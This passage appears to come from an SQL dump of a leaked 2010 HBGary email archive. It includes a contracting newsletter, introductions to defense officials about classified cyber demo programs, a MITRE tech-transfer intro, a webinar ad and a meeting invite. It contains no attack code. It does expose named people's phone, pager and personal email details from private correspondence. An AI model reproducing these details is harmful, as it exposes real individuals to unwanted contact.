costs of about $3\r\n billion, and total life cycle costs estimated&nbsp; at about $20 billion. Click Here to Read\r\n MoreAshton\r\n Carter Meets With Defense Contracting Executives: \'The Era of Big Growth is\r\n Over\'Ashton\r\n Carter, DoD\'s undersecretary for acquisitions and the man picked by Robert M.\r\n Gates to free up $100 billion in the defense budget, met with leaders of the\r\n government contracting community last Monday.&nbsp;Click Here to Read\r\n MoreEarned Value Management: An Introduction&nbsp;\r\n Since 2005, Earned Value Management (EVM) has\r\n played an important part in federal IT acquisitions across the federal government.\r\n From a December 2005 OMB policy memo, EVM is a \"project management control tool\r\n allowing visibility into technical, cost and schedule planning, performance, and\r\n progress for major IT projects,\" and has been in use by the Department of Defense\r\n for large-scale aerospace and defense projects since the\r\n 1960s. Click Here to\r\n Read\r\n MoreUS Rules Out North Korea\'s Role in \'09 Cyber\r\n AttacksU.S. authorities have all but ruled out the role of\r\n North Korea in the cyber attacks which took place around July 4,\r\n 2009.\r\n Click  Here to\r\n Read\r\n MoreBoeing Buys\r\n Argon ST for $775M; Roger Krone Speaks\r\n OutThe\r\n increasing number of \r\nattacks via cyberspace on U.S. federal and private sector networks can \r\nand should be stopped, according to General Wesley\r\n Clark.\r\n Click   Here to\r\n Read\r\n More\r\n John\r\nRiggins, Hall of Fame running back for the Washington\r\n Redskins, will be\r\nspeaking at the Potomac Officers Club on July 22,\r\n 2010.\r\n SHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpaceCACI\'s Paul Cofoni Sees Cyber Threat on Three Levels\r\n Executive Spotlight: Gunnar Hellekson of Red Hat U.S. Public\r\n Sector&nbsp;\r\n Bob\r\n Dix of Juniper Networks: The threat has evolved from script kiddies to nefarious\r\n forms of criminal activity\r\n IBM\'s\r\n Anne Altman: Industry partnerships key to \"Smarter Cities\"&nbsp;\r\n &nbsp;&nbsp;General\r\n Dynamics Scores Pair of Ammunition DealsBAE, General\r\n Dynamics, A-T Solutions Pen DoD DealsiGov\'s Patrick\r\n Neven on New Collaborative Work SuiteNGC Scores Navy\r\n DealGeneral\r\n Dynamics, BAE, Lockheed Win Deals, Raytheon Claims PairDynCorp, ITT,\r\n SAIC Pen DoD Contracts, Northrop Books 2Honeywell, L-3,\r\n Wyle, Dell Awarded Contracts Boeing Banks PairHarris Signs\r\n Radio Order from DoDRaytheon, L-3,\r\n General Dynamics Notch Navy WinsNorthrop,\r\n American Apparel, Lockheed Pen DoD DealsQinetiQ NA\r\n Picks Rick Finn to Lead Homeland Security GroupNetApp\'s Mark\r\n Leslie to Retire from BoardFGM Brings in\r\n Joe Gawlik to Lead BDBoeing Buys\r\n Argon ST for $775M; Roger Krone Speaks OutPaul Cofoni\r\n Talks Cyber: \'It\'s a Hard Sell\'Click Here for\r\n More GovConwireFBI Names First\r\n Female Special Agent in Charge for N.Y. Cyber/Special OperationsDr. Jos&eacute;\r\n Muñoz Appointed as CTO of NSF\'s Cyber OfficeSmarter\r\n Security for the SmartphoneJob Grant Gives\r\n 700 Laid-Off Workers Free Cybersecurity TrainingFacebook\r\n Message Saying Robbed and Stranded? Don\'t Fall For It, Says FBILocal Maryland\r\n Bank Targeted by Phishing AttackWhite House\r\n Lifts Ban on CookiesUpscale Hotel\r\n Chain Hit by Cyber Attack&nbsp;Click Here for\r\n More from The New New Internet Government Goes\r\n Mobile with Four New AppsFBI Appoints\r\n First Female SAC for N.Y. Cyber/Special OperationsCACI\'s Paul\r\n Cofoni Discusses Future of Funding for CybersecurityCGI\'s Donna\r\n Morea a \'Woman of the Year\'Dr. Douglas C.\r\n Sicker New Chief Technologist for\r\n FCCClick Here for\r\n More from GovCon Executive\r\n FCC Announces\r\n New Initiative to Modernize Agency Data CollectionGovernment\r\n Launches New Smartphone AppsMichele\r\n Flournoy: India Remains Important Partner to USNSF Gets New\r\n Chief Technology Officer$5M Grant to\r\n Finance Cyber Training for 700 Maryland WorkersHilda Solis on\r\n Veterans: \'We do not leave them behind\'Health IT\r\n Study: Meaningful Use Separates \'Haves\' from \'Have-Nots\'Obama\r\n Administration Unleashes Healthcare.govFCC Appoints\r\n New Chief TechnologistClick Here for\r\n More from ExecutiveGov&nbsp;&nbsp;SHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpaceCIA Officers Memorial\r\n Foundation Charity Dinner Featuring Keynote Speaker Dan Aykroyd.Please join\r\n INSA in raising funds for The CIA Officers Memorial Foundation at this very\r\n special charity dinner.When:Thursday, July 8, 2010&nbsp;\r\n 5:30 p.m.Where:\r\n Ritz-Carlton, Pentagon City, 1250\r\n South Hayes St. Arlington VA 22202For more information contact Rachel Patricca at\r\n rpatricca@insaonline.org or 703.224.4672AEC\r\n &#8211; Geo e-procurement portalIn the fast-paced AEC-Geo\r\n world, we understand that you need fast and flexible purchasing of your technology\r\n solutions.&nbsp; That\'s why we created a new e-procurement portal from DLT\r\n Solutions: www.dlt.com/aec-geo-proc&nbsp;From\r\n mapping and CAD, to imagery and globes, all can be purchased at a press of a\r\n button for all your government projects. The portal features special\r\n pricing around Autodesk\'s Master Government Reseller software solutions including\r\n AutoCAD, Map 3D, Civil 3D plus many more. Google Earth and GeoEye Imagery\r\n solutions are available too.Prefer to speak to a representative\r\n directly? DLT has a team of experienced representatives to help. With over 19\r\n years of working closely with federal, state and local governments, we can help\r\n you make the best purchasing decisions.&nbsp;For Autodesk products,\r\n call 888.447.2223 or send a message to ag@dlt.com&nbsp;For Geospatial\r\n products, call 877.385.3581 or send a message to gds@dlt.com.\r\n CACI\'s\r\n Paul Cofoni Sees Cyber Threat on Three Levels\r\n Cyber\r\n threats can be seen on three levels: cyber theft, third-party nation threat, and\r\n the cyber-terrorist threat, according to CACI President and Chief Executive\r\n Officer Paul CofoniClick Here to Read\r\n MoreExecutive Spotlight: Gunnar Hellekson of Red Hat U.S. Public \r\nSector\r\n Like many other IT \r\nprofessionals, Gunnar Hellekson\'s interest in computers was born at an \r\nearly age, but it was not until college he received formal training in \r\nthe field. While taking engineering classes, Hellekson put his skills \r\nand his entrepreneurial side to use and worked as a systems \r\nadministrator to make some money. Not long after, he took the step to \r\nstart up a number of Internet companies, doing business-to-business work\r\n and web development, eventually leading to the founding of a consulting\r\n company focused on helping small and medium-size arts and nonprofits in\r\n New York City. About four or five years ago, he traded the Big Apple \r\nfor the nation\'s capital and ended up working at Red Hat U.S. Public \r\nSector as a chief technology strategist. Click Here to Read\r\n More&nbsp;\r\n \r\n Bob\r\n Dix of Juniper Networks: The threat has evolved from script\r\n kiddies to nefarious forms of criminal activity\r\n After graduating from college, Bob Dix joined the utility\r\n industry, and shortly thereafter transitioned into the retail automobile business.\r\n After 15 years, he decided to chase his dream of serving his community as an\r\n elected official, and subsequently spent the next 12 years as a local\r\n government-elected representative. Additionally, Dix&nbsp; served on two different\r\n occasions as a senior staff member for the United States House of Representatives.\r\n However, more than a decade ago, he decided to join the IT sector and held\r\n executive roles at various companies before ending up Juniper Networks nearly four\r\n years ago.Click Here to Read\r\n MoreIBM\'s\r\n Anne Altman: Industry partnerships key to \"Smarter \r\nCities\"&nbsp;\r\n You think traffic is bad now.\r\n Just wait until 2050. That\'s when 70 percent of the world\'s population will live\r\n in cities &#8212; a scenario likely to impact your kids and grandkids. To minimize\r\n the strain, especially on aging urban infrastructures, IBM launched Smarter Cities\r\n this past year. Ever since, the initiative has focused on ways to harness advances\r\n in information technology, including business analytics, to make infrastructures\r\n affected by population growth more efficient and smart. Click Here to Read\r\n MoreA Letter from the EditorThrough our weekly emagazine and daily blog,\r\nExecutiveBiz offers our readership an insider\'s view of news and trends\r\nshaping small, medium, and large companies within industries such as\r\ndefense, technology, and health care.&nbsp; In addition to our daily blog,\r\nwe\'ve launched four new media properties, GovConWire,\r\n GovConExecutive,\r\n ExecutiveGov,\r\n and TheNewNewInternet.\r\nEach\r\n week, we deliver in-depth profiles of industry leaders, candid\r\nQ&As, plus the latest news and trends, and value-add information to\r\nhelp you do your job better.&nbsp; You\'re a big part of the equation both\r\nonline and off &#8212; which is why we want to hear from you. Have a story\r\n\r\ntip? Or an idea for a speaking event? Feel free to contact me direct.\r\nYou can also follow us on Twitter, Facebook,\r\n and LinkedIn.J.D. KathuriaEditor-in-chief\r\n ExecutiveBizo: 703-226-7010&nbsp; &nbsp;jd@executivebiz.com&nbsp;&nbsp; ExecutiveBiz, 8230 Old Courthouse RoadVienna, VA\r\n 22181Update PreferencesList\r\n Unsubscribe\r\n',7842,'aaron_hbgary_com/7842.html'),(8281,'2010-07-08','\"Hibbeln, Brian, Mr, OSD-ATL\" <Brian.Hibbeln@osd.mil>','/aaron@hbgary.com/new/1297006438.M798090P14101Q3137.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Introduction','Great, come on down to the 9th floor at 11:30 if that works for you.\r\n\r\nThanks,  Brian\r\n\r\nMr. Brian Hibbeln\r\nOSD/Rapid Fielding Office\r\nSpecial Capabilities\r\n\r\nVoice: 703 746-1200\r\nPager: 877 351-2519\r\nGrey / NSTS: 984-8201\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 08, 2010 10:56 AM\r\nTo: Hibbeln, Brian, Mr, OSD-ATL\r\nCc: Lachow, Irving Mr OSD ATL; Irving Lachow\r\nSubject: Re: Introduction\r\n\r\nI have talked to Irv a few times and my CERTs are on file.  I can come down\r\nsometime this afternoon if your available.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 8, 2010, at 10:53 AM, \"Hibbeln, Brian, Mr, OSD-ATL\"\r\n wrote:\r\n\r\n> Aaron,\r\n>   Glad you made that connection already!  You also need to meet Irv Lachow\r\nin our office.  Are you around here today?  I can come upstairs later or\r\nhost you down here.  I am also planning on attending the dinner tonight.\r\n> \r\n> Thanks,  Brian\r\n> \r\n> Mr. Brian Hibbeln\r\n> OSD/Rapid Fielding Office\r\n> Special Capabilities\r\n> \r\n> Voice: 703 746-1200\r\n> Pager: 877 351-2519\r\n> Grey / NSTS: 984-8201\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, July 08, 2010 10:46 AM\r\n> To: Hibbeln, Brian, Mr, OSD-ATL\r\n> Subject: Re: Introduction\r\n> \r\n> Brian,\r\n> \r\n> Interestingly I am upstairs with Ray Owen and his group on some of demo\r\nstuff for the next few days.  Are you going to the dinner tonight?  At some\r\npoint it would probably be informative to get together in a scif and discuss\r\nmy background and some of the things Tom is alluding to.  I can get together\r\nnext week if your available or can drop downstairs opportunistically over\r\nthe next few days.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Jul 8, 2010, at 9:58 AM, \"Hibbeln, Brian, Mr, OSD-ATL\"\r\n wrote:\r\n> \r\n> \r\n> \r\n>    Thanks as usual Tom. \r\n>    \r\n>    Aaron, I look forward to meeting you. We have been impressed with some\r\nof HB Gary\'s capabilities and we are looking for some ideas for classified\r\ncyber demo programs. When is a good time to discuss?\r\n>    \r\n>    \r\n>    Thanks, Brian\r\n>    \r\n>    Mr. Brian Hibbeln\r\n>    \r\n>    Voice: 703 746-1200\r\n>    Pager: 877 351-2519\r\n>    Grey / NSTS: 984-8201\r\n>    \r\n>    \r\n>    \r\n>    ------------------------------- \r\n>    Sent from my BlackBerry Wireless Handheld \r\n>    \r\n> \r\n> ________________________________\r\n> \r\n>    From: Conroy, Thomas W.  \r\n>    To: Aaron Barr ; Hibbeln, Brian, Mr, OSD-ATL \r\n>    Sent: Thu Jul 08 04:41:30 2010\r\n>    Subject: Introduction \r\n>    \r\n>    \r\n> \r\n>    Aaron and Brian b \r\n> \r\n>     \r\n> \r\n>    Allow me to introduce you to each other.  \r\n> \r\n>     \r\n> \r\n>    Brian, I worked with Aaron while I was at TASC and he was my go to\r\nperson in establishing some of the most unique and highly successful\r\ninternet programs for the IC that I know of.  He and his team produced some\r\ntruly remarkable and extremely innovative capabilities that have changed the\r\nway the Agency does business.  \r\n> \r\n>     \r\n> \r\n>    Aaron and I had lunch yesterday and he has left TASC and Northrop\r\nGrumman and is now with a small company (HB Gary) developing a similarly\r\ninnovative and value adding capability for them across a broader range of\r\ncustomers.  Knowing how you value talent and capability, and are able to\r\nbring together just the right mix of users, visionaries, and funding\r\nsources, I realized you two would be like catalysts in a mix of free\r\nhydrogen and free oxygen.  Heat, light, and explosive impacts will almost\r\ncertainly result.  \r\n> \r\n>     \r\n> \r\n>    Please get in direct contact and see if you donbt agree this is a\r\npartnership made in heaven.  \r\n> \r\n>     \r\n> \r\n>    Good luck to you both.  \r\n> \r\n>     \r\n> \r\n>    Tom\r\n> \r\n',10471,'aaron_hbgary_com/10471.html'),(8282,'2010-07-08','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297006438.M86554P14101Q3135.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Hibbeln, Brian, Mr, OSD-ATL\" <Brian.Hibbeln@osd.mil>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','Brian,\r\nThanks for the intro.  Aaron and I know each other well.  We\'ve talked\r\nseveral times and I introduced him to LTC Lincoln Liebner, Ray and\r\nNathan.  Aaron\'s a great guy and we need to find a way to work with\r\nhim--he has some very neat ideas.\r\nCheers,\r\nIrv\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 08, 2010 10:56 AM\r\nTo: Hibbeln, Brian, Mr, OSD-ATL\r\nCc: Lachow, Irving Mr OSD ATL; Lachow, Irving\r\nSubject: Re: Introduction\r\n\r\nI have talked to Irv a few times and my CERTs are on file.  I can come\r\ndown sometime this afternoon if your available.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 8, 2010, at 10:53 AM, \"Hibbeln, Brian, Mr, OSD-ATL\"\r\n wrote:\r\n\r\n> Aaron,\r\n>   Glad you made that connection already!  You also need to meet Irv\r\nLachow in our office.  Are you around here today?  I can come upstairs\r\nlater or host you down here.  I am also planning on attending the dinner\r\ntonight.\r\n> \r\n> Thanks,  Brian\r\n> \r\n> Mr. Brian Hibbeln\r\n> OSD/Rapid Fielding Office\r\n> Special Capabilities\r\n> \r\n> Voice: 703 746-1200\r\n> Pager: 877 351-2519\r\n> Grey / NSTS: 984-8201\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, July 08, 2010 10:46 AM\r\n> To: Hibbeln, Brian, Mr, OSD-ATL\r\n> Subject: Re: Introduction\r\n> \r\n> Brian,\r\n> \r\n> Interestingly I am upstairs with Ray Owen and his group on some of\r\ndemo stuff for the next few days.  Are you going to the dinner tonight?\r\nAt some point it would probably be informative to get together in a scif\r\nand discuss my background and some of the things Tom is alluding to.  I\r\ncan get together next week if your available or can drop downstairs\r\nopportunistically over the next few days.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Jul 8, 2010, at 9:58 AM, \"Hibbeln, Brian, Mr, OSD-ATL\"\r\n wrote:\r\n> \r\n> \r\n> \r\n>    Thanks as usual Tom. \r\n>    \r\n>    Aaron, I look forward to meeting you. We have been impressed with\r\nsome of HB Gary\'s capabilities and we are looking for some ideas for\r\nclassified cyber demo programs. When is a good time to discuss?\r\n>    \r\n>    \r\n>    Thanks, Brian\r\n>    \r\n>    Mr. Brian Hibbeln\r\n>    \r\n>    Voice: 703 746-1200\r\n>    Pager: 877 351-2519\r\n>    Grey / NSTS: 984-8201\r\n>    \r\n>    \r\n>    \r\n>    ------------------------------- \r\n>    Sent from my BlackBerry Wireless Handheld \r\n>    \r\n> \r\n> ________________________________\r\n> \r\n>    From: Conroy, Thomas W.  \r\n>    To: Aaron Barr ; Hibbeln, Brian, Mr, OSD-ATL \r\n>    Sent: Thu Jul 08 04:41:30 2010\r\n>    Subject: Introduction \r\n>    \r\n>    \r\n> \r\n>    Aaron and Brian b \r\n> \r\n>     \r\n> \r\n>    Allow me to introduce you to each other.  \r\n> \r\n>     \r\n> \r\n>    Brian, I worked with Aaron while I was at TASC and he was my go to\r\nperson in establishing some of the most unique and highly successful\r\ninternet programs for the IC that I know of.  He and his team produced\r\nsome truly remarkable and extremely innovative capabilities that have\r\nchanged the way the Agency does business.  \r\n> \r\n>     \r\n> \r\n>    Aaron and I had lunch yesterday and he has left TASC and Northrop\r\nGrumman and is now with a small company (HB Gary) developing a similarly\r\ninnovative and value adding capability for them across a broader range\r\nof customers.  Knowing how you value talent and capability, and are able\r\nto bring together just the right mix of users, visionaries, and funding\r\nsources, I realized you two would be like catalysts in a mix of free\r\nhydrogen and free oxygen.  Heat, light, and explosive impacts will\r\nalmost certainly result.  \r\n> \r\n>     \r\n> \r\n>    Please get in direct contact and see if you donbt agree this is a\r\npartnership made in heaven.  \r\n> \r\n>     \r\n> \r\n>    Good luck to you both.  \r\n> \r\n>     \r\n> \r\n>    Tom\r\n> \r\n',8208,'aaron_hbgary_com/8208.html'),(8283,'2010-07-08','\"Dizon, Ray\" <rdizon@mitre.org>','/aaron@hbgary.com/new/1297006439.M390430P14101Q3139.eml','\"David Etue\" <david@etue.net>,\"Aaron Barr\" <aaron@hbgary.com>','RE: MITRE intro','David, thanks, see you soon.\r\n\r\nAaron,\r\n\r\nBe happy to catch up with you some time to chat about social media, etc.\r\n\r\nI\'m open to suggestions on dates/times/venues over the next couple of weeks.  I\'m generally flexible over locations as I drive around enough!\r\n\r\nRay\r\n\r\n\r\nRay Dizon\r\nDirector, Technology Transfer Office\r\nThe MITRE Corporation\r\nN680\r\n7515 Colshire Drive\r\nMcLean, VA 22102\r\n703-983-7132\r\nrdizon@mitre.org\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: David Etue [mailto:david@etue.net] \r\nSent: Thursday, July 08, 2010 9:07 AM\r\nTo: Aaron Barr; Dizon, Ray\r\nSubject: MITRE intro\r\n\r\nRay - looking forward to meeting this afternoon.  I wanted to provide a \r\nquick intro beforehand to Aaron Barr, who is the CEO of HB Gary \r\nFederal.  Aaron and I have looked to do some work together around social \r\nmedia security, and during our discussions he mentioned there was some \r\ntechnology in MITRE around social media that may be available for tech \r\ntransfer.  I wanted to connect the two to discuss further.\r\n\r\nAaron - Ray is the director of MITRE\'s Technology Transfer Office.  \r\nBefore joining MITRE, he was an investor in Fidelis while at the \r\nMaryland Venture Fund.  Beyond being the right person to talk to about \r\nthis particular opportunity, Ray is a great guy to know in the DC tech \r\ncommunity.\r\n\r\nI\'ll let you two connect directly from here.\r\n\r\nDavid\r\n',1106,'aaron_hbgary_com/1106.html'),(8284,'2010-07-08','\"L2 Federal Resources, Inc.\" <mail@constructionpubs.com>','/aaron@hbgary.com/new/1297006439.M39421P14101Q3138.eml','aaron@hbgary.com','Winning Federal Contracts for Small Firms: 7 Steps To Success!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n \r\n   \r\n \r\n   \r\n \r\n       \r\n \r\n           \r\n \r\n        \r\n       \r\n \r\n            \r\n            \r\n               \r\n \r\n                   \r\n \r\n                        \r\n                        \r\n&nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\n&nbsp;WEBINAR\r\n                        Tuesday, July 20, 2010\r\n                        1:00-2:30 PM EDT\r\n                        \r\n&nbsp;\r\n                        \r\nFeaturing:\r\n                        \r\n                        Judy Bradt\r\n                        Principal\r\n                        Summit Insight\r\n                        \r\n                        \r\n                        \r\n&nbsp;\r\n                        \r\n\r\n                        Forward to a Colleague!\r\n                        \r\n                        \r\n\r\n                        \r\n                        \r\n                        \r\n                        \r\n                        \r\n                        \r\n                        &nbsp;\r\n                        \r\n_____________________\r\n                        \r\n&nbsp;\r\n                        \r\n&nbsp;&nbsp;\r\n                        \r\nCan&rsquo;t Make the Session Live? Reserve your copy\r\n                        of the webinar on CD,\r\n                         Click here.\r\n                        &nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\n_____________________&nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\n&nbsp;\r\n                        \r\nFor          more information on\r\n                        WPL products and\r\n                        conferences, visit us at\r\n                        www.wpl.net.\r\n                        WPL Publishing Co., Inc.\r\n                        P.O. Box 1495\r\n                        Bethesda, MD \r\n                        &nbsp;                         Tel: (301) 765-9525\r\n                        &nbsp;                         Fax: (301) 983-4367\r\n                       \r\n \r\n&nbsp;\r\n                       \r\n \r\n&nbsp;&nbsp;&nbsp;\r\n                        \r\n                    \r\n                \r\n            \r\n            \r\nWPL Publishing Co., Inc., \r\nand\r\n L2 Federal Resources, Inc., \r\nannounce a valuable new interactive webinar:\r\n            \r\nGovernment Contracts Practical Jump Start: 7 Steps to Success\r\n            \r\nThinking of selling to the government, or want to win more contracts\r\n            than you are now? There are 7 things that all winners do. Find out what they are, what to expect, and get the answers you need to get started today. \r\n            \r\n            \r\nNow\'s the time to act, as agencies rush to exhaust \r\n            their budgets before the Sept. 30 fiscal year end.\r\n           \r\n \r\nIn just 90 minutes, this class will debunk the myths about government contracting,\r\n            give you first-class resources that are hard to find, and places you on the path to mastery of success essentials. Looking for that perfect set-aside contract? Want to sell directly, or team with one of the big prime contractors? You will find out what you really need to succeed if you are thinking of selling to the government. Class covers:\r\n            \r\n           \r\n \r\n               \r\n Business readiness\r\n                \r\n               \r\n GSA schedules and certification\r\n                \r\n               \r\n Finding opportunities\r\n                \r\n               \r\n Researching competition\r\n                \r\n               \r\n Process essentials: How the government buys\r\n                \r\n               \r\n Teaming tips for seeking partners\r\n                \r\n               \r\n Business development best practices\r\n                \r\n               \r\n Key resources and next steps\r\n                \r\n               \r\n And, much more!\r\n            \r\n           \r\n \r\nIn addition, a 10-to-15 minute period has been reserved at the end of the speaker\'s presentation for an interactive question-and-answer session so you can discuss specific issues or gain additional knowledge about topics discussed. To\r\n \r\n            register now, \r\nclick here.&nbsp; \r\n            \r\n           \r\n Who Will Benefit?\r\n            This webinar is a must if you are currently or considering working with the\r\n            government on any projects.\r\n            \r\n           \r\n \r\n\r\n            \r\n           \r\n \r\n\r\n           \r\n \r\nJudy Bradt, Principal\r\n            Summit Insight\r\n            Judy is one of America&rsquo;s top champions for savvy business owners exploring government contracts, and a trusted advisor on growing your profits with the world&rsquo;s biggest buyer.  For more than 22 years, she has counselled more than 6,000 clients who credit her advice for winning more than $300 million in government business.\r\n            As Principal of Summit Insight in Washington DC, Judy&rsquo;s a strategic advisor for government contracts, bringing her clients, readers and audiences no-nonsense insight on winning government business. Her\r\n Seven Steps to Success \r\njust helped a client close contracts worth nearly $500,000! She&rsquo;s been covered by national media including\r\n Business Week, \r\nFortune Small Business, \r\nWashington Business Journal, \r\nSmart CEO Magazine, \r\nFinancial Post, \r\nEnterprising Woman, \r\nand\r\n Entrepreneur Magazine. \r\n Find out more at www.summitinsight.com. \r\n            &nbsp;             \r\n            Prior to founding Summit Insight, Judy was Trade Commissioner at the Canadian Embassy in Washington for 15 years, specializing in the U.S. federal market. She is also a pilot and a rock-climbing instructor, so no matter how steep the climb for your business, she can take you all the way.  When you work with Judy Bradt, the sky is\r\n            no limit!\r\n                         \r\n            \r\nWebinar Details:\r\n            \r\n               \r\n \r\n                   \r\n \r\n                       \r\n &nbsp;Date:\r\n                       \r\n Tuesday, July 20, 2010\r\n                    \r\n                   \r\n \r\n                       \r\n &nbsp;Location:\r\n                       \r\n Your office or conference room (no need to travel!)\r\n                    \r\n                   \r\n \r\n                       \r\n &nbsp;Time: \r\n                       \r\n 1:00 &mdash; 2:30 EDT\r\n                        \r\n                    \r\n                   \r\n \r\n                       \r\n &nbsp;Price:\r\n                       \r\n Webinar PLUS Audio CD and handouts -- $246&nbsp; Best Value!\r\n                    \r\n                   \r\n \r\n                       \r\n &nbsp;\r\n                       \r\n Webinar Only -- $179&nbsp;\r\n                    \r\n                   \r\n \r\n                       \r\n &nbsp;\r\n                       \r\n Audio CD and handouts only -- $215 (pre-conference price)\r\n                    \r\n                \r\n            \r\n            \r\nTo Register ONLINE, Click here.  For the FAX-BACK registration form, \r\n            Click here.&nbsp; To reserve your space by phone CALL (301) 765-9525.\r\n            \r\n            Added Benefit:&nbsp; In-house training tool:&nbsp; Train your entire staff for one low price!\r\n            There is no limit to the number of participants at your location. Gather around the conference room table and listen to the speakers then discuss how it pertains to your particular company.&nbsp; For those who can&rsquo;t attend, you have the option to purchase the CD to listen to when more convenient.&nbsp;&nbsp; \r\n             \r\n            \r\n            \r\n\r\n            \r\n        \r\n    \r\n\r\n\r\n&nbsp;\r\n  \r\n \r\n \r\n   \r\n \r\n\r\nClick here to unsubscribe\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n	\r\n',4021,'aaron_hbgary_com/4021.html'),(8285,'2010-07-08','\"Christopher Barnett\" <chrislbarnett@gmail.com>','/aaron@hbgary.com/new/1297006439.M645569P14101Q3140.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Contact','Aaron:\r\n\r\nGood to see you too. Enjoying the heat? My daughters did not last long.\r\n\r\nSure, though I am on may way to NJ to visit relatives. Can we talk\r\nMonday? If not, I can call tomorrow. Please send me a good number and\r\nI&#39;ll give you a call. \r\n\r\nChris\r\n571-230-5231On Thu, Jul 8, 2010 at 8:44 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi chris,\r\n\r\nGood to see you last weekend.\r\n\r\nIs this a good account for you?\r\n\r\nI have something I would like to talk to you about related to TU.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n',6007,'aaron_hbgary_com/6007.html'),(8286,'2010-07-08','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297006440.M343684P14101Q3142.eml','\"Aaron Barr\" <aaron@hbgary.com>,bob@hbgary.com','RE: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat Jul 10, 	2010 12:30am (msteckman@palantirtech.com)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUnfortunately I have to go to a client in NYC on Friday.&nbsp; Can we push this to next Friday?\r\n&nbsp;\r\nMatthew Steckman\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\nmsteckman@palantir.com | 202-257-2270\r\n&nbsp;\r\n&nbsp;\r\n-----Original Appointment-----\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\n\r\nSent: Wednesday, June 23, 2010 10:41 PM\r\n\r\nTo: Aaron Barr; bob@hbgary.com; Matthew Steckman; David Worn; Paul Hadjy; Tri Tang; Keyur Parikh\r\n\r\nSubject: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat Jul 10, 2010 12:30am (msteckman@palantirtech.com)\r\n\r\nWhen: Friday, July 09, 2010 11:30 AM-12:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Palantir Office, Tysons Corner, VA\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nmore\r\ndetails &raquo;\r\n\r\nPing Pong Challenge\r\nScheduled around lunch time so we can take advantage of Palantirs catered lunch.\r\n\r\n\r\n\r\n\r\nWhen\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fri Jul 9 11:30pm &#8211; Sat Jul 10, 2010 12:30am Eastern Time\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\nWhere\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Palantir Office, Tysons Corner, VA (map)\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\nCalendar\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\nWho\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8226;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aaron Barr - organizer\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\n&#8226;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bob@hbgary.com\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\n&#8226;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\nGoing?&nbsp;&nbsp; Yes\r\n- Maybe\r\n- No&nbsp;&nbsp;&nbsp;\r\nmore\r\noptions &raquo;\r\n\r\n\r\n\r\nInvitation from Google Calendar\r\nYou are receiving this courtesy email at the account msteckman@palantirtech.com because you are an attendee of this event.\r\nTo stop receiving future notifications for this event, decline this event. Alternatively you can sign up for a Google account at\r\nhttps://www.google.com/calendar/ and control your notification settings for your entire calendar.\r\n\r\n\r\n\r\n &lt;&lt; File: invite.ics &gt;&gt; \r\n&nbsp;\r\n\r\n\r\n\r\n',14774,'aaron_hbgary_com/14774.html'),(8287,'2010-07-08','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297006440.M53287P14101Q3141.eml','\"Penny 